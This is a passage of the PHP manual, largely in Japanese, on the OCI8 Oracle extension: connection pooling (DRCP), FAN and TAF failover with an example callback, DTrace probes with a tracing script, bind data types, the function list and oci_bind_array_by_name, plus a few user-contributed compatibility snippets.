oci_new_connect() は、他の既存の接続が存在したとしても 常に Oracle サーバーへの新規接続を生成します。 特にアプリケーションの最も負荷が高い部分など、 高トラフィックな Web アプリケーションに対しては oci_new_connect() の使用を避けてください。

OCI8 1.3 から、 持続的接続をユーザーが閉じられるようになりました。 これにより、接続リソースの使い方をユーザーがより強く制御できます。 持続的接続は、PHP の変数が参照していない場合にも、 自動的に閉じられるようになっています。 たとえば、PHP のユーザ関数のスコープの最後に到達した場合です。 これによって、コミットされていないトランザクションは全てロールバックされます。 持続的接続に対するこれらの変更によって、 持続的接続でない、通常の接続と似たような振る舞いをするようになります。 さらに、インターフェイスがシンプルになり、 アプリケーションの一貫性と予測可能性が改善されます。 歴史的な振る舞いを維持するには、 oci8.old_oci_close_semantics の設定を On にして下さい。

Apache や FPM のプロセスが再度 fork した後、 PHP の持続的接続は再接続されます。 これは、Oracle　Database の LOGON トリガに セッション属性を設定するべきであり、 アプリケーションのユーザー接続単位で設定すべきではないということです。

DRCP 接続プーリング

PHP 5.3 (PECL OCI8 1.3) 以降では、 Oracle 11g のデータベース常駐接続プーリング (DRCP) をサポートします。 DRCP によりデータベースマシンのメモリをより効率的に使用し、 高い拡張性が得られます。 DRCP を使うためにアプリケーションを変更する必要はないか、または 最小限です。

DRCP は、ごく少数のデータベーススキーマを使用し、データベース接続を短時間オープン状態に 保つアプリケーションに適しています。 その他のアプリケーションは、 Oracle のデフォルトの Dedicated データベースサーバープロセスか、または Shared サーバーを使用しなければいけません。

DRCP は３つの接続機能全てに有益ですが、 oci_pconnect() で接続を作成すると最高の拡張性が得られます。

OCI8 で DRCP を利用可能にするには、 PHP で使用する Oracle クライアントライブラリ、 及び Oracle データベースのバージョンが共に 11g 以降でなければいけません。

DRCP についてのドキュメントはいくつかの Oracle マニュアルに見つかります。 例えば、使用法の情報のために、 Oracle ドキュメントで » データベース常駐接続プーリングの構成 をご覧ください。 » DRCP ホワイトペーパー には、 DRCP についての 予備知識となる情報が含まれています。

DRCP を使用するには、 OCI8 1.3 以降のエクステンション及び Oracle 11g 以降のライブラリをインストールし、 これらのステップを続けます。

  • データベース内の接続プールを開始するために、 特権を持つデータベース管理者として SQL*Plus のようなプログラムを使います。

        SQL> execute dbms_connection_pool.start_pool;

  • DRCP の設定を構成するために、 任意で dbms_connection_pool.alter_param() を使用します。 現行のプール設定は、 DBA_CPOOL_INFO ビューで照会できます。

  • 使用する接続文字列を更新します。 MYDB のようなネットワーク接続名を使って現在接続する PHP アプリケーションでは、

        $c = oci_pconnect("myuser", "mypassword", "MYDB");

    tnsnames.ora ファイルを修正して、 (SERVER=POOLED) 節を追加します。 例えば、

        MYDB = (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp) (HOST=myhost.dom.com)
           (PORT=1521))(CONNECT_DATA=(SERVICE_NAME=sales)
           (SERVER=POOLED)))

    あるいは、 PHP で Easy Connect 構文を修正して、サービス名の後に :POOLED を追加します。

        $c = oci_pconnect("myuser", "mypassword", "myhost.dom.com:1521/sales:POOLED");

  • php.ini を編集して、接続クラス名を選択してください。 この名前は、接続プールの論理的なディビジョンを指示し、 個別のアプリケーションごとにプーリングを分離するために使われます。 同一のユーザー名と接続クラスをもつ PHP アプリケーションは、 プール内の接続を共有できます。これにより、より大きな拡張性が得られます。

        oci8.connection_class = "MY_APPLICATION_NAME"

  • アプリケーションを実行して、 11g 以降のデータベースに接続します。

注意:

持続的接続のパフォーマンスを必要とする Oracle クライアントライブラリ 10g を使うアプリケーションでは、 Oracle Shared サーバー(マルチスレッドサーバーとして既知)を使用することにより、 必要なデータベース・メモリー量を減らせます。 詳細は Oracle ドキュメントを参照してください。

注意:

DRCP 接続に対するパスワードを変更すると、 ORA-56609: Usage not supported with DRCP というエラーで失敗します。 これは Oracle データベース 11g の制約に典拠が示されています。

User Contributed Notes

There are no user contributed notes for this page.


OCI8 高速アプリケーション通知 (FAN) サポート

FAN サポートは、高速接続フェイルオーバーという Oracle Database 高可用性機能を提供します。 これにより、データベースマシンまたはデータベースインスタンスが使用不能になると、 PHP OCI8 スクリプトに通知されるようになります。 FAN を使用しないと、数分間かもしれませんが、 TCP タイムアウトが発生してエラーが返されるまで OCI8 がハングアップすることがありえます。 OCI8 で FAN を有効にすると、 Web ユーザーが機能停止に気づかないように アプリケーションがエラーを検出し、 使用可能なデータベースインスタンスに再接続できるようになります。

FAN サポートは、PHP とリンクする Oracle クライアントライブラリ、 および Oracle Database の両方のバージョンが 10gR2 以降の場合に使用可能です。

データベースインスタンスを生き残らせるための接続がただちに作成されるので、 FAN は、Oracle のクラスタリング技術 (RAC) のユーザーに役立ちます。 ブローカーがある場合の Oracle Data Guard のユーザーは、 スタンバイ用のデータベースがオンラインになる際に FAN イベントが生成されることに気づくでしょう。 スタンドアローンのデータベースは、データベース再始動の際に FAN イベントを送信します。

アクティブな接続の場合、 データベースマシンまたはデータベースインスタンスが使用できなくなると、 現在呼び出されている OCI8 拡張モジュールの関数により 接続失敗エラーが返されます。 後続の PHP スクリプト再接続時には、 残存するデータベースインスタンスへの接続が確立されます。 OCI8 拡張モジュールはまた、 いかなるサービスの中断もスクリプトで意識しないように PHP 接続呼び出しが新鮮な接続を確立するよう、 データベースマシンまたはデータベースインスタンスの障害の影響を受けた すべてのアイドル状態の接続を透過的にクリーンアップします。

FAN イベントを有効にすると、サービスの中断により無効にされた アイドル状態の接続の積極的な接続管理が提供されるため、 oci8.events が On の場合、ping を無効にするには oci8.ping_interval を -1 に 設定することがお勧めです。

PHP OCI8 で FAN サポートを有効にするには、 Oracle 10gR2 以降のライブラリとともに PHP OCI8 をビルドし、 以下のステップに従います。

  • データベースサービスが FAN イベントをポストできるようにするには、 特権を持つデータベース管理者として SQL*Plus のようなプログラムを使用します。 たとえば下記のように使用します。

        SQL> execute dbms_service.modify_service(
                   SERVICE_NAME        => 'sales',
                   AQ_HA_NOTIFICATIONS => TRUE);

  • php.ini を編集して以下のように追加します。

        oci8.events = On

  • もし OCI8 のエラー条件をアプリケーションがすでに正しく処理していなければ、 障害を検出し、適切なアクションを取るように変更します。 これは、再接続や再実行のステートメントを含むかもしれません。
  • アプリケーションを実行し、Oracle Database 10gR2 以降に接続します。

User Contributed Notes

There are no user contributed notes for this page.


OCI8 Transparent Application Failover (TAF) Support

TAF is an Oracle Database feature that provides high availability. It enables PHP OCI8 applications to automatically reconnect to a preconfigured database when database connectivity fails due to instance or network failure.

In a configured Oracle Database system, TAF occurs when the PHP application detects that the database instance is down or unreachable. It establishes a connection to another node in an Oracle » RAC configuration, a hot standby database, or the same database instance itself. See » Oracle Call Interface Programmer's Guide for more information about OCI TAF.

An application callback can be registered with oci_register_taf_callback(). During failover, normal application processing stops and the registered callback is invoked. The callback notifies the application of the failover events. If the failover succeeds, normal processing will be resumed. If the failover aborts, any following database operations in the application will fail due to no connection being available.

When a connection fails over to another database, the callback can reset any necessary connection state, for example replaying any necessary ALTER SESSION commands if the database service did not have -failover_restore enabled.

An application callback can be removed by calling oci_unregister_taf_callback().

Configuring Transparent Application Failover

TAF can be configured on the PHP OCI8 side or in the database configuration. If both are configured, database-side settings take precedence.

Configure TAF in PHP OCI8 (the client side) by including the FAILOVER_MODE parameter in the CONNECT_DATA portion of a connect descriptor. See Configuring Transparent Application Failover in » Oracle Database Net Services Administrator's Guide for more information about client side configuration of TAF.

An example tnsnames.ora to configure TAF reconnecting to the same database instance:

    ORCL =
      (DESCRIPTION =
        (ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521))
        (CONNECT_DATA =
          (SERVICE_NAME = orclpdb1)
          (FAILOVER_MODE =
            (TYPE = SELECT)
            (METHOD = BASIC)
            (RETRIES = 20)
            (DELAY = 15))))

Alternatively configure TAF on the database side by modifying the target service with » srvctl (for RAC) or the » DBMS_SERVICE.MODIFY_SERVICE packaged procedure (for single instance databases).

Using TAF Callbacks in OCI8

A TAF callback is an application function that can be registered to be called during failover. It is called several times while re-establishing the application's connection.

Callback first occurs when a loss of connection is detected. This allows the application to act accordingly for the upcoming delay of the failover. If the failover is successful, the callback is invoked after connection is re-established and usable. At this time, the application can resynchronize session settings and take actions such as informing the user that failover occurred. If failover is unsuccessful, a callback occurs to inform the application that a failover did not take place and the connection is unusable.

The interface of a TAF user-defined callback function is as follows:

userCallbackFn ( resource $connection , int $event , int $type ) : int

connection

The Oracle connection on which the TAF callback was registered via oci_register_taf_callback(). The connection is not valid until the failover completes successfully.

event

The failover event indicates the current status of the failover.

  • OCI_FO_BEGIN indicates that failover has detected a lost connection and failover is starting.

  • OCI_FO_END indicates successful completion of failover.

  • OCI_FO_ABORT indicates that failover was unsuccessful, and there is no option of retrying.

  • OCI_FO_ERROR also indicates that failover was unsuccessful, but it gives the application the opportunity to handle the error and return OCI_FO_RETRY to retry failover.

  • OCI_FO_REAUTH indicates that an Oracle user has been re-authenticated.

type

The failover type. This lets the callback know what type of failover the application has requested. The usual values are as follows:

  • OCI_FO_SESSION indicates that the user has requested only session failover. For example, if a user's connection is lost, then a new session is automatically created for the user on the backup. This type of failover does not attempt to recover SELECTs.

  • OCI_FO_SELECT indicates that the user has requested SELECT failover as well. It allows users with open cursors to continue fetching from them after failure.

return value

  • 0 indicates the failover steps should continue normally.

  • OCI_FO_RETRY indicates that the failover should be attempted again by Oracle. In case of an error while failing over to a new connection, TAF is able to retry the failover. Typically, the application code should sleep for a while before returning OCI_FO_RETRY.

The following example registers a TAF callback

<?php

// Define userspace callback
class MyClass {
    public static $retry_count;
    public static function TAFCallback($conn, $event, $type)
    {
        switch ($event) {
            case OCI_FO_BEGIN:
                printf(" Failing Over ... Please stand by\n");
                printf(" Failover type was found to be %s \n",
                       (($type==OCI_FO_SESSION) ? "SESSION"
                        :(($type==OCI_FO_SELECT) ? "SELECT" : "UNKNOWN!")));
                self::$retry_count = 0;
                break;
            case OCI_FO_ABORT:
                // The application cannot continue using the database
                printf(" Failover aborted. Failover will not take place.\n");
                break;
            case OCI_FO_END:
                // Failover completes successfully. Inform users a failover occurs.
                printf(" Failover ended ... resuming services\n");
                break;
            case OCI_FO_REAUTH:
                printf(" Failed over user ... resuming services\n");
                // Replay any ALTER SESSION commands associated with this connection
                // eg. oci_parse($conn, 'ALTER SESSION ...') ;
                break;
            case OCI_FO_ERROR:
                // Stop retrying if we have already attempted for 20 times.
                if (self::$retry_count >= 20)
                    return 0;
                printf(" Failover error received. Sleeping...\n");
                sleep(10);
                self::$retry_count++;
                return OCI_FO_RETRY; // retry failover
                break;
            default:
                printf("Bad Failover Event: %d.\n", $event);
                break;
        }
        return 0;
    }
}

$fn_name = 'MyClass::TAFCallback';

$conn = oci_connect('hr', 'welcome', 'orcl');
$sysconn = oci_connect('system', 'oracle', 'orcl');

// Use a privileged connection to construct a SQL statement that will initiate failover
$sql = <<< 'END'
select unique 'alter system disconnect session '''||sid||','||serial#||''''
from v$session_connect_info
where sid = sys_context('USERENV', 'SID')
END;

$s = oci_parse($conn, $sql);
oci_execute($s);
$r = oci_fetch_array($s);
$disconnectssql = $r[0];

oci_register_taf_callback($conn, $fn_name); // Register TAFCallback to Oracle TAF

print("Parsing user query\n");
$sql = "select systimestamp from dual";
$stmt = oci_parse($conn, $sql);

// For example, if a connection loss occurs at this point, oci_execute() will
// detect the loss and failover begins. During failover, oci_execute() will
// invoke the TAF callback function several times. If the failover is successful,
// a new connection is transparently created and oci_execute() will continue as
// usual. The connection session settings can be reset in the TAF callback
// function. If the failover is aborted, oci_execute() will return an error
// because a valid connection is not available.

// Disconnect the user, which initiates failover
print("Disconnecting the user\n");
$discsql = oci_parse($sysconn, $disconnectssql);
oci_execute($discsql);

print("Executing user query\n");
$e = oci_execute($stmt);
if (!$e) {
    $m = oci_error($stmt);
    trigger_error("Could not execute statement: ". $m['message'], E_USER_ERROR);
}
$row = oci_fetch_array($stmt);
print($row[0] . "\n");

// do other SQL statements with the new connection, if it is valid
// $stmt = oci_parse($conn,  . . .);

?>

See Also

  • oci_register_taf_callback()
  • oci_unregister_taf_callback()

User Contributed Notes

There are no user contributed notes for this page.


OCI8 および DTrace 動的トレーシング

OCI8 2.0 では、DTrace をサポートする OS 上で使用できる 静的な DTrace プローブが導入されました。 PHP および DTrace の概要については、DTrace 動的トレーシング をご覧ください。

DTrace サポート付きで OCI8 をインストール

PHP OCI8 で DTrace のサポートを有効にするには、 PHP_DTRACE を設定後、 OCI8 を共用拡張モジュールとしてビルドします。

$ export PHP_DTRACE=yes
$ pecl install oci8

php.ini を編集し、作成された oci8.so がある ディレクトリを extension_dir に 設定します。 さらに以下のように追加してその拡張モジュールを有効にします。

extension=oci8.so

もし、phpize および configure を （ pecl の代わりに） 使用して PECL から PHP OCI8 をインストールする場合、 さらに PHP_DTRACE=yes を設定する必要があります。 それは、--enable-dtrace オプションが、PECL バンドルの 制限された configure スクリプトにより 無視されるからです。

一般的な PECL インストール手順については、PECL 拡張モジュールのインストール をご覧ください。

PHP OCI8 の DTrace 静的プローブ

PHP OCI8 では、以下の静的プローブが使用できます
プローブ名 | プローブの説明 | プローブの引数
oci8-connect-entry | oci_connect()、oci_pconnect() および oci_new_connect() により開始されます。データベース接続が確立する前に発射されます。 | char *username, char *dbname, char *charset, long session_mode, int persistent, int exclusive
oci8-connect-return | 接続終了時に発射されます。 | void *connection
oci8-check-connection | Oracle のエラーにより、接続が不正になったかもしれない場合に発射されます。 | void *connection, char *client_id, int is_open, long errcode, unsigned long server_status
oci8-sqltext | oci_parse() が実行された際に発射されます。 | void *connection, char *client_id, void *statement, char *sql
oci8-connection-close | データベースへの接続が完全に破壊された際に発射されます。 | void *connection
oci8-error | Oracle のエラーが生じた場合に発射されます。 | int status, long errcode
oci8-execute-mode | 実行モードを示す oci_execute() のたびに発射されます。 | void *connection, char *client_id, void *statement, unsigned int mode

これらのプローブは、OCI8 スクリプトのトレーシングで有用です。

connection および statement は、 PHP の接続および実行されたステートメントを追跡するために使用される内部構造への ポインタです。

client_id は、 oci_set_client_identifier() により設定される値です。

コア PHP にも静的プローブがあります。 コア PHP の DTrace 静的プローブ をご覧ください。

OCI8 の DTrace プローブ内部デバッギング
プローブ名
oci8-connect-expiry
oci8-connect-lookup
oci8-connect-p-dtor-close
oci8-connect-p-dtor-release
oci8-connect-type
oci8-sesspool-create
oci8-sesspool-stats
oci8-sesspool-type

これらのプローブは、OCI8 メンテナにとって有用です。 引数およびいつ発射されるかについては、OCI8 のソースコードを参照してください。

PHP OCI8 の DTrace 静的プローブ一覧

使用できるプローブを一覧表示するには、 PHP プロセスを開始して以下のように実行します。

# dtrace -l

出力は以下のようになります。

   ID   PROVIDER            MODULE                          FUNCTION NAME
   [ . . . ]
   17 phpoci22116           oci8.so   php_oci_dtrace_check_connection oci8-check-connection
   18 phpoci22116           oci8.so                php_oci_do_connect oci8-connect-entry
   19 phpoci22116           oci8.so         php_oci_persistent_helper oci8-connect-expiry
   20 phpoci22116           oci8.so             php_oci_do_connect_ex oci8-connect-lookup
   21 phpoci22116           oci8.so  php_oci_pconnection_list_np_dtor oci8-connect-p-dtor-close
   22 phpoci22116           oci8.so  php_oci_pconnection_list_np_dtor oci8-connect-p-dtor-release
   23 phpoci22116           oci8.so                php_oci_do_connect oci8-connect-return
   24 phpoci22116           oci8.so             php_oci_do_connect_ex oci8-connect-type
   25 phpoci22116           oci8.so          php_oci_connection_close oci8-connection-close
   26 phpoci22116           oci8.so                     php_oci_error oci8-error
   27 phpoci22116           oci8.so         php_oci_statement_execute oci8-execute-mode
   28 phpoci22116           oci8.so              php_oci_create_spool oci8-sesspool-create
   29 phpoci22116           oci8.so            php_oci_create_session oci8-sesspool-stats
   30 phpoci22116           oci8.so            php_oci_create_session oci8-sesspool-type
   31 phpoci22116           oci8.so          php_oci_statement_create oci8-sqltext

PROVIDER 列の値は、phpoci および 現在実行中の PHP プロセスのプロセス ID から構成されます。

FUNCTION 列は、各プロバイダが配置された PHP 内部の C 実装関数名を参照します。

PHP プロセスが実行されていない場合、PHP プローブは表示されません。

PHP OCI8 についての DTrace の例

この例では、DTrace の D スクリプト言語の基本を示します。

例1 DTrace を使用して すべてのユーザーレベルの PHP OCI8 静的プローブをトレースするための user_oci8_probes.d

#!/usr/sbin/dtrace -Zs

#pragma D option quiet

php*:::oci8-connect-entry
{
    printf("%lld: PHP connect-entry\n", walltimestamp);
    printf("  credentials=\"%s@%s\"\n", arg0 ? copyinstr(arg0) : "", arg1 ? copyinstr(arg1) : "");
    printf("  charset=\"%s\"\n", arg2 ? copyinstr(arg2) : "");
    printf("  session_mode=%ld\n", (long)arg3);
    printf("  persistent=%d\n", (int)arg4);
    printf("  exclusive=%d\n", (int)arg5);
}

php*:::oci8-connect-return
{
    printf("%lld: PHP oci8-connect-return\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
}

php*:::oci8-connection-close
{
    printf("%lld: PHP oci8-connect-close\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
}

php*:::oci8-error
{
    printf("%lld: PHP oci8-error\n", walltimestamp);
    printf("  status=%d\n", (int)arg0);
    printf("  errcode=%ld\n", (long)arg1);
}

php*:::oci8-check-connection
{
    printf("%lld: PHP oci8-check-connection\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
    printf("  client_id=\"%s\"\n", arg1 ? copyinstr(arg1) : "");
    printf("  is_open=%d\n", arg2);
    printf("  errcode=%ld\n", (long)arg3);
    printf("  server_status=%lu\n", (unsigned long)arg4);
}

php*:::oci8-sqltext
{
    printf("%lld: PHP oci8-sqltext\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
    printf("  client_id=\"%s\"\n", arg1 ? copyinstr(arg1) : "");
    printf("  statement=0x%p\n", (void *)arg2);
    printf("  sql=\"%s\"\n", arg3 ? copyinstr(arg3) : "");
}

php*:::oci8-execute-mode
{
    printf("%lld: PHP oci8-execute-mode\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
    printf("  client_id=\"%s\"\n", arg1 ? copyinstr(arg1) : "");
    printf("  statement=0x%p\n", (void *)arg2);
    printf("  mode=0x%x\n", arg3);
}

このスクリプトは、dtrace に対して -Z オプションを使用します。 それにより、実行中の PHP プロセスがない場合に実行できるようになります。 もしこのオプションが書き落とされた場合、 モニターされているプローブがどれも存在しないことがわかっているので、 PHP の実行可能ファイルが実行されていない場合、 スクリプトは即座に終了します。

マルチ CPU マシンでは、プローブの順序は規則的に連続して表示されないことがあります。 これは、どの CPU がプローブを処理し、 CPU の間をスレッドがどのように移動したかに依存します。 プローブのタイムスタンプを表示すると、 混乱を減らすことができます。

スクリプトは、PHP スクリプト実行中の期間全体にわたって、 すべてのユーザーレベルの PHP OCI8 静的プローブ・ポイントをトレースします。 D スクリプトを実行します。

# ./user_oci8_probes.d

PHP スクリプトまたはアプリケーションを実行します。 モニタリングの D スクリプトは、各プローブが発射されるたびに その引数を出力します。 例えば、テーブルを照会する単純な PHP スクリプトにより 以下のトレース出力がもたらされるでしょう。

1381794982092854582: PHP connect-entry
  credentials="hr@localhost/pdborcl"
  charset=""
  session_mode=0
  persistent=0
  exclusive=0
1381794982183158766: PHP oci8-connect-return
  connection=0x7f4a7907bfb8
1381794982183594576: PHP oci8-sqltext
  connection=0x7f4a7907bfb8
  client_id="Chris"
  statement=0x7f4a7907c2a0
  sql="select * from employees"
1381794982183783706: PHP oci8-execute-mode
  connection=0x7f4a7907bfb8
  client_id="Chris"
  statement=0x7f4a7907c2a0
  mode=0x20
1381794982444344390: PHP oci8-connect-close
  connection=0x7f4a7907bfb8

モニタリングが完了した際には、^Cを使用して D スクリプトを終わらせることができます。

関連項目

  • DTrace 動的トレーシング

User Contributed Notes

There are no user contributed notes for this page.


ドライバでサポートされるデータ型

oci_bind_by_name() 関数を使用してパラメータをバインドする場合、 ドライバは次の型をサポートします
型 | マッピング
SQLT_NTY | oci_new_collection() によって生成されたような PHP のコレクションオブジェクトからネイティブのコレクション型に マップします
SQLT_BFILEE | oci_new_descriptor() によって生成されたような PHP のディスクリプタオブジェクトからネイティブのディスクリプタ型に マップします
SQLT_CFILEE | oci_new_descriptor() によって生成されたような PHP のディスクリプタオブジェクトからネイティブのディスクリプタ型に マップします
SQLT_CLOB | oci_new_descriptor() によって生成されたような PHP のディスクリプタオブジェクトからネイティブのディスクリプタ型に マップします
SQLT_BLOB | oci_new_descriptor() によって生成されたような PHP のディスクリプタオブジェクトからネイティブのディスクリプタ型に マップします
SQLT_RDD | oci_new_descriptor() によって生成されたような PHP のディスクリプタオブジェクトからネイティブのディスクリプタ型に マップします
SQLT_NUM | PHP パラメータを 'C' の long 型に変換し、 その値をバインドします
SQLT_RSET | oci_parse() によって生成されたもしくは他の OCI クエリから処理されたような PHP のステートメントハンドルからネイティブのステートメントハンドルに マップします
SQLT_BOL | PHP パラメータを PL/SQL の BOOLEAN にバインドします
SQLT_CHR とその他の型 | PHP パラメータを文字列型に変換し、その文字列をバインドします
以下の型は結果セットからカラムを処理する際にサポートされます
型 | マッピング
SQLT_RSET | カーソルを表す OCI ステートメントリソースを生成します
SQLT_RDD | ROWID オブジェクトを生成します
SQLT_BLOB | LOB オブジェクトを生成します
SQLT_CLOB | LOB オブジェクトを生成します
SQLT_BFILE | LOB オブジェクトを生成します
SQLT_LNG | SQLT_CHR としてバインドし、文字列として返します
SQLT_LBI | SQLT_BIN としてバインドし、文字列として返します
その他の型 | SQLT_CHR としてバインドし、文字列として返します

User Contributed Notes

There are no user contributed notes for this page.


OCI8 関数

目次

  • oci_bind_array_by_name — PHP の配列を Oracle PL/SQL の配列に名前でバインドする
  • oci_bind_by_name — Oracle プレースホルダに PHP 変数をバインドする
  • oci_cancel — カーソルからの読み込みをキャンセルする
  • oci_client_version — Oracle クライアント・ライブラリのバージョンを返す
  • oci_close — Oracleとの接続を閉じる
  • oci_commit — 未解決のトランザクションをコミットする
  • oci_connect — Oracle データベースに接続する
  • oci_define_by_name — PHP の変数を、クエリで取得するカラムに関連づける
  • oci_error — 最後に見つかったエラーを返す
  • oci_execute — 文を実行する
  • oci_fetch_all — クエリからの複数の行を二次元配列に取得する
  • oci_fetch_array — クエリの次の行を連想配列あるいは数値添字配列で返す
  • oci_fetch_assoc — クエリの次の行を連想配列で返す
  • oci_fetch_object — クエリの次の行をオブジェクトとして返す
  • oci_fetch_row — クエリの次の行を配列で返す
  • oci_fetch — クエリの次の行を内部バッファに取得する
  • oci_field_is_null — フェッチしたフィールドが null であるかどうかを確認する
  • oci_field_name — 文からのフィールド名を返す
  • oci_field_precision — フィールドの精度を問い合わせる
  • oci_field_scale — フィールドの桁数を問い合わせる
  • oci_field_size — フィールドサイズを返す
  • oci_field_type_raw — Oracle におけるフィールドの型を問い合わせる
  • oci_field_type — フィールドのデータ型の名前を返す
  • oci_free_descriptor — ディスクリプタを解放する
  • oci_free_statement — 文やカーソルに関連付けられた全てのリソースを解放する
  • oci_get_implicit_resultset — Oracle Database の暗黙の結果セットを持つ親ステートメント・リソースから次の子ステートメント・リソースを返す
  • oci_lob_copy — ラージオブジェクトをコピーする
  • oci_lob_is_equal — 2 つの LOB/FILE ロケータの等価性を比較する
  • oci_new_collection — 新しいコレクションオブジェクトを割り当てる
  • oci_new_connect — 一意な接続を使って Oracle サーバーへ接続する
  • oci_new_cursor — 新規カーソル (ステートメントハンドル) を割り当て、それを返す
  • oci_new_descriptor — 空の新規 LOB あるいは FILE ディスクリプタを初期化する
  • oci_num_fields — ある文における結果のカラム数を返す
  • oci_num_rows — 文の実行で作用された行数を取得する
  • oci_parse — 実行のために Oracle の文をパースする
  • oci_password_change — Oracle ユーザーのパスワードを変更する
  • oci_pconnect — 持続的接続を使用してOracle データベースに接続する
  • oci_register_taf_callback — Register a user-defined callback function for Oracle Database TAF
  • oci_result — フェッチした行からフィールドの値を取得する
  • oci_rollback — 未解決のデータベーストランザクションをロールバックする
  • oci_server_version — Oracle データベースのバージョンを返す
  • oci_set_action — アクション名を設定します
  • oci_set_call_timeout — Sets a millisecond timeout for database calls
  • oci_set_client_identifier — クライアント識別子を設定します
  • oci_set_client_info — クライアント情報を設定する
  • oci_set_db_operation — Sets the database operation
  • oci_set_edition — データベース・エディション を設定します
  • oci_set_module_name — モジュール名を設定します
  • oci_set_prefetch — クエリがプリフェッチする行数を設定する
  • oci_statement_type — ステートメントの種類を返す
  • oci_unregister_taf_callback — Unregister a user-defined callback function for Oracle Database TAF

User Contributed Notes

greatval <wow> gmail <dot> com 24-Jul-2006 09:30
For use PHPv5 functions in PHPv4 i use simple script:
<?php
$funcs=array(
        'oci_connect'=>'OCILogon',
        'oci_parse'=>'OCIParse',
        'oci_execute'=>'OCIExecute',
        'oci_fetch'=>'OCIFetch',
        'oci_num_fields'=>'OCINumCols',
        'oci_field_name'=>'OCIColumnName',
        'oci_result'=>'OCIResult',
        'oci_free_statement'=>'OCIFreeStatement',
);
// yoy can add yours pairs of funcs.

foreach ($funcs as $k=>$v)
    {
        if (!function_exists($k))
            {
                $arg_string='$p0';
                for ($i=1;$i<20;$i++) {
                    $arg_string.=',$p'.$i;
                }
                eval ('function '.$k.' () {
                        list('.$arg_string.')=func_get_args();
                        return '.$v.'('.$arg_string.');
                        }
                ');
            }
    }
?>

simple, but it work. :-)
Javi Ros 02-Jun-2006 07:49
Here are the translate of some functions from ORA to OCI:

<?php
function Ora_Logon($usuario, $password)
{
        $con = oci_connect($usuario,$password);
        return $con;
}

function Ora_Open($conexion) {
        $cursor[0]=$conexion;
        return $cursor;
}

function Ora_Parse(&$cursor, $consulta) {
        $cursor[1]=oci_parse($cursor[0],$consulta);
        return $cursor;
}

function Ora_Exec(&$cursor) {
        oci_execute($cursor[1]);
        $cursor[2]=1;
        return $cursor;
}

function Ora_Fetch(&$cursor)
{
        if ($cursor[2] == 1) $cursor[2]=0;
        return oci_fetch($cursor[1]);
}

function Ora_GetColumn(&$cursor, $indice)
{
        if ($cursor[2] == 1) {
                Ora_Fetch($cursor);
                $cursor[2]=0;
        }
        $valor = oci_result($cursor[1],$indice+1);
        return $valor;
}

function Ora_Close(&$cursor)
{
        unset($cursor[1]);
}

function Ora_Logoff($conexion) {
}
?>


PHP の配列を Oracle PL/SQL の配列に名前でバインドする

  • ≪ OCI8 関数
  • oci_bind_by_name ≫
  • PHP Manual
  • OCI8 関数
  • PHP の配列を Oracle PL/SQL の配列に名前でバインドする

oci_bind_array_by_name

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL OCI8 >= 1.2.0)

oci_bind_array_by_name — PHP の配列を Oracle PL/SQL の配列に名前でバインドする

説明

oci_bind_array_by_name ( resource $statement , string $name , array &$var_array , int $max_table_length , int $max_item_length = -1 , int $type = SQLT_AFC ) : bool

oci_bind_array_by_name() は、PHP の配列 var_array を Oracle のプレースホルダ name にバインドします。 このプレースホルダは Oracle PL/SQL の配列を指しています。 入力変数あるいは出力変数のどちらとして使用されるのかは、 実行時に決められます。

パラメータ

statement

有効な OCI ステートメント識別子

name

Oracle のプレースホルダ

var_array

配列

max_table_length

入力配列および結果の配列の両方の最大長を設定する

max_item_length

配列要素の最大長を設定する。もし指定されない、もしくは -1 が指定された場合、oci_bind_array_by_name() は入力の配列の中で最も長い要素を探し、その長さを最大長とする。

type

PL/SQL 配列の項目の型を指定するために利用される。 指定可能な型については以下を参照のこと。

  • SQLT_NUM - NUMBER の配列

  • SQLT_INT - INTEGER の配列 (注意: INTEGER は、実際には NUMBER(38) のシノニムだが、 SQLT_NUM ではこの場合うまく動作しない)。

  • SQLT_FLT - FLOAT の配列

  • SQLT_AFC - CHAR の配列

  • SQLT_CHR - VARCHAR2 の配列

  • SQLT_VCS - VARCHAR の配列

  • SQLT_AVC - CHARZ の配列

  • SQLT_STR - STRING の配列

  • SQLT_LVC - LONG VARCHAR の配列

  • SQLT_ODT - DATE の配列

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 oci_bind_array_by_name() の例

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$create = "CREATE TABLE bind_example(name VARCHAR(20))";
$stid = oci_parse($conn, $create);
oci_execute($stid);

$create_pkg = "
CREATE OR REPLACE PACKAGE ARRAYBINDPKG1 AS
  TYPE ARRTYPE IS TABLE OF VARCHAR(20) INDEX BY BINARY_INTEGER;
  PROCEDURE iobind(c1 IN OUT ARRTYPE);
END ARRAYBINDPKG1;";
$stid = oci_parse($conn, $create_pkg);
oci_execute($stid);

$create_pkg_body = "
CREATE OR REPLACE PACKAGE BODY ARRAYBINDPKG1 AS
  CURSOR CUR IS SELECT name FROM bind_example;
  PROCEDURE iobind(c1 IN OUT ARRTYPE) IS
    BEGIN
    -- Bulk Insert
    FORALL i IN INDICES OF c1
      INSERT INTO bind_example VALUES (c1(i));

    -- Fetch and reverse
    IF NOT CUR%ISOPEN THEN
      OPEN CUR;
    END IF;
    FOR i IN REVERSE 1..5 LOOP
      FETCH CUR INTO c1(i);
      IF CUR%NOTFOUND THEN
        CLOSE CUR;
        EXIT;
      END IF;
    END LOOP;
  END iobind;
END ARRAYBINDPKG1;";
$stid = oci_parse($conn, $create_pkg_body);
oci_execute($stid);

$stid = oci_parse($conn, "BEGIN arraybindpkg1.iobind(:c1); END;");
$array = array("one", "two", "three", "four", "five");
oci_bind_array_by_name($stid, ":c1", $array, 5, -1, SQLT_CHR);
oci_execute($stid);

var_dump($array);

?>

User Contributed Notes

david dot paper at usu dot edu 10-Sep-2009 10:44
